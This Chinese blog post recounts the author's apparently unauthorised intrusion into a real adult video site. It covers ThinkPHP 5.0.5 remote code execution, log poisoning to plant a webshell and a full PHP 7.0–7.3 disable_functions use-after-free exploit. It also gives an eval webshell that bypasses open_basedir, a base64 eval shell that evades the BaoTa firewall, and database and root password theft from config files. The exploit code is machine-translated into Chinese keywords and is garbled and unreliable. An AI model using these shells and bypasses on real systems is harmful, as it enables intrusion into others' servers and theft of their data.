网络安全技术 ·

对一次宅男网站的渗透


文章来源:疯猫网络

0x00锁定目标初步尝试

起因是因为云盘,因为有人在云盘类别里面发了某宅男网站链接,闲的无聊职业病又犯了。

网站,做了一下简单的信息收集发现是ThinkPHP V5.0.5,通过引用信息得到网站真实IP。

对一次宅男网站的渗透 网络安全技术 第2张

直接使用RCE防御,成功执行phpinfo

对一次宅男网站的渗透 网络安全技术 第2张

0x01同轴绕过disable_functions:

准备直接执行命令,弹壳,发现函数被替换:

对一次宅男网站的渗透 网络安全技术 第4张

看了下disable_functions替换了以下函数:

对一次宅男网站的渗透 网络安全技术 第4张

拿到壳再说,首先在日志中先写一句话,然后利用文件包含去包含日志执行代码,大概思路就是这样,先利用报错把一句话写下来:

对一次宅男网站的渗透 网络安全技术 第6张

因为日志会不断刷新,因此这里需要包含日志重新写入一句话:

对一次宅男网站的渗透 网络安全技术 第7张

成功拿到贝壳

对一次宅男网站的渗透 网络安全技术 第7张

经过查找资料,多次尝试以后发现可以通过PHP 7.0 <7.3(Unix)-'gc'禁用函数绕过:代码脚本:

<?php  #PHP 7.0-7.3 disable_functions绕过PoC(仅* nix) #错误:https://bugs.php.net/bug.php?id = 72530 #此漏洞利用程序应可在所有PHP 7.0-7.3版本上使用 #自2019年10月10日发布,特别是: #PHP 7.0-7.0.33 #PHP 7.1-7.1.31 #PHP 7.2-7.2.23 #PHP 7.3-7.3.10 #作者:https://github.com/mm0r1 pwn($ _ GET [123]); 函数pwn($ cmd){ 全局$ abc,$ helper;  函数str2ptr(&$ str,$ p = 0,$ s = 8){ $ address = 0; for($ j = $ s-1; $ j> = 0; $ j--){ $ address << = 8; $ address | = ord($ str [$ p + $ j]); } 返回$ address; } 函数ptr2str($ ptr,$ m = 8){ $ out =“”; 对于($ i = 0; $ i <$ m; $ i ++){ $ out。= chr($ ptr&0xff); $ ptr >> = 8; } 返回$ out; } 函数write(&$ str,$ p,$ v,$ n = 8){ $ i = 0; for($ i = 0; $ i <$ n; $ i ++){ $ str [$ p + $ i] = chr($ v&0xff); $ v >> = 8; } } 函数泄漏($ addr,$ p = 0,$ s = 8){ 全局$ abc,$ helper; 写($ abc,0x68,$ addr + $ p-0x10); $ leak = strlen($ helper-> a); if($ s!= 8){$ leak%= 2 <<($ s * 8)-1; } 返回$泄漏; } 函数parse_elf($ base){ $ e_type =泄漏($ base,0x10,2);  $ e_phoff =泄漏($ base,0x20); $ e_phentsize =泄漏($ base,0x36,2); $ e_phnum =泄漏($ base,0x38,2); for($ i = 0; $ i <$ e_phnum; $ i ++){ $ header = $ base + $ e_phoff + $ i * $ e_phentsize; $ p_type =泄漏($ header,0,4); $ p_flags =泄漏($ header,4,4); $ p_vaddr =泄漏($ header,0x10); $ p_memsz =泄漏($ header,0x28); if($ p_type == 1 && $ p_flags == 6){#PT_LOAD,PF_Read_Write #处理派 $ data_addr = $ e_type == 2?$ p_vaddr:$ base + $ p_vaddr; $ data_size = $ p_memsz; } else if($ p_type == 1 && $ p_flags == 5){#PT_LOAD,PF_Read_exec $ text_size = $ p_memsz; } } if(!$ data_addr ||!$ text_size ||!$ data_size) 返回false; 返回[$ data_addr,$ text_size,$ data_size]; } 函数get_basic_funcs($ base,$ elf){ list($ data_addr,$ text_size,$ data_size)= $ elf; for($ i = 0; $ i <$ data_size / 8; $ i ++){ $泄漏=泄漏($ data_addr,$ i * 8); if($ leak-$ base> 0 && $ leak-$ base <$ text_size){ $ deref =泄漏($ leak); #'常量'常量检查 if($ deref!= 0x746e6174736e6f63) 继续; }其他继续; $ leak =泄漏($ data_addr,($ i + 4)* 8); if($ leak-$ base> 0 && $ leak-$ base <$ text_size){ $ deref =泄漏($ leak); #'bin2hex'常量检查 if($ deref!= 0x786568326e6962) 继续; }其他继续; 返回$ data_addr + $ i * 8; } } 函数get_binary_base($ binary_leak){ $ base = 0; $ start = $ binary_leak&0xfffffffffffffff000; for($ i = 0; $ i <0x1000; $ i ++){ $ addr = $ start-0x1000 * $ i; $ leak =泄漏($ addr,0,7); if($ leak == 0x10102464c457f){#ELF标头 返回$ addr; } } } 函数get_system($ basic_funcs){ $ addr = $ basic_funcs; 做{ $ f_entry =泄漏($ addr); $ f_name =泄漏($ f_entry,0,6);  if($ f_name == 0x6d6574737973){#系统 返回泄漏($ addr + 8); } $ addr + = 0x20; } while($ f_entry!= 0); 返回false; } 黑麦类{ var $ ryat; var $ chtg; 函数__destruct() { $ this-> chtg = $ this-> ryat; $ this-> ryat = 1; } } 类助手{ 公用$ a,$ b,$ c,$ d; } if(stristr(PHP_OS,'WIN')){ die('此PoC仅适用于* nix系统。'); } $ n_alloc = 10; #如果遇到段错误,请增加此值 $ contiguous = []; for($ i = 0; $ i <$ n_alloc; $ i ++) $ contiguous [] = str_repeat('A',79); $ poc ='a:4:{i:0; i:1; i:1; a:1:{i:0; O:4:“ ryat”:2:{s:4:“ ryat”; R :3; s:4:“ chtg”; i:2;}} i:1; i:3; i:2; R:5;}'; $ out =反序列化($ poc); gc_collect_cycles(); $ v = []; $ v [0] = ptr2str(0,79); unset($ v); $ abc = $ out [2] [0]; $ helper =新的助手; $ helper-> b =函数($ x){}; if(strlen($ abc)== 79){ die(“ UAF失败”); }  #泄漏 $ closure_handlers = str2ptr($ abc,0); $ php_heap = str2ptr($ abc,0x58); $ abc_addr = $ php_heap-0xc8; #假值 write($ abc,0x60,2); 写($ abc,0x70,6); #假参考 写($ abc,0x10,$ abc_addr + 0x60); write($ abc,0x18,0xa); $ closure_obj = str2ptr($ abc,0x20); $ binary_leak =泄漏($ closure_handlers,8); if(!($ base = get_binary_base($ binary_leak))){ die(“无法确定二进制基址”); } if(!($ elf = parse_elf($ base))){ die(“无法解析ELF标头”); } if(!($ basic_funcs = get_basic_funcs($ base,$ elf))){ die(“无法获得basic_functions地址”); } if(!($ zif_system = get_system($ basic_funcs))){ die(“无法获得zif_system地址”); } #伪造的关闭对象 $ fake_obj_offset = 0xd0; for($ i = 0; $ i <0x110; $ i + = 8){ 写($ abc,$ fake_obj_offset + $ i,泄漏($ closure_obj,$ i)); } #pwn 写($ abc,0x20,$ abc_addr + $ fake_obj_offset); 写($ abc,0xd0 + 0x38,1,4); #内部函数类型 写($ abc,0xd0 + 0x68,$ zif_system); #内部函数处理程序 ($ helper-> b)($ cmd); 出口(); }

发布代码脚本到目标服务器上,成功执行

0x02深度绕过过open_basedir:

发现目标不能访问根目录,查看一下phpinfo发现open_basedir函数限制了访问目录:

对一次宅男网站的渗透 网络安全技术 第7张

使用代码:

<?php 回声'open_basedir:'.ini_get('open_basedir')。'<br>'; 回声'GET:'。$ _ GET ['c']。'<br>'; eval($ _ GET ['c']); 回声'open_basedir:'.ini_get('open_basedir'); ?>

成功突破目录限制:

对一次宅男网站的渗透 网络安全技术 第7张

通过敏感信息收集读取到日志文件,发现目标存在phpmyadmin:

对一次宅男网站的渗透 网络安全技术 第7张

得到目录phpmyadmin路径后判断出目标使用了宝塔,宝塔一般替换把phpmyadmin建造在888端口上面:

对一次宅男网站的渗透 网络安全技术 第7张

找到数据库密码,登录之:

对一次宅男网站的渗透 网络安全技术 第7张

80多万访问IP这网站有点逆天,播放次数那么多的那位老哥,注意身体啊,由于MySQL权限不够,于是不考虑继续利用MySQL:

对一次宅男网站的渗透 网络安全技术 第7张

0x03再探绕过宝塔防火墙:

由于某些原因,渗透搁置了一部分,再次来看的时候发现马被删除了,重新拿壳的时候发现对方开了宝塔的防火墙。

对一次宅男网站的渗透 网络安全技术 第7张

怎么办,不能鼓励,继续怼它,对宝塔返回信息判断,应该是只对对准的参数正确判断,判断是否有敏感函数,并没有对文件内容做验证,修改了下exp在次成功编写外壳:

访问:http://XXXXX/12345678.php就会在根目录下生成2222222.php文件

2222222.php的文件内容

//把参数以base64形式初始化,然后解嘛,这样就能绕过过宝塔对参数的检测 <?php eval(base64_decode($ _ GET [1337]));; ?>

代码执行成功:

对一次宅男网站的渗透 网络安全技术 第7张

看了下时间,半夜2点了,睡觉了,第二天还要上班,于是关掉了电脑,下班后,继续打开网站,发现网站突破不能利用了,一下子开始发慌了:

对一次宅男网站的渗透 网络安全技术 第7张

冷静一下,想其他办法,一般这样的网站都不止一个ip,扫一下c段看看有没有收获,最终发现隔壁ip(xxx.xxx.xxx.42)和目标(xxx.xxx.xxx.43)一模一样,此ip开启了dubug可以存在漏洞,于是直接搞:

对一次宅男网站的渗透 网络安全技术 第7张

查看一下以root用户运行的进程发现MySQL是root权限运行:

对一次宅男网站的渗透 网络安全技术 第7张

通过查看mysqld_safe的配置文件(/etc/my.cnf)发现root用户密码:

对一次宅男网站的渗透 网络安全技术 第20张

尝试了UDF提权,root用户登录phpmyadmin,看下MySQL版本5.6.47-log

对一次宅男网站的渗透 网络安全技术 第20张

在看下/ www / server / mysql / lib / plugin目录权限不可写放弃udf提权:

对一次宅男网站的渗透 网络安全技术 第22张

打算劫持来提权的,但是发现www用户是nologin用户,不存在自己的家目录,也没有.bash_profile这个文件,所以劫持不了命令了。

对一次宅男网站的渗透 网络安全技术 第22张

可惜了,最终尝试了多种提权方法都失败了,但在整个渗透的过程中,还是有比较多值得回味的过程,因此写下了这篇文章,希望能给大家更多的启发。

本文知识点

1.通过thinkphp5.0 *通过代码执行shell包含文件

2.绕过disable_functions局部函数

3.绕过open_basedir目录限制

4.绕过宝塔防火爆

参与评论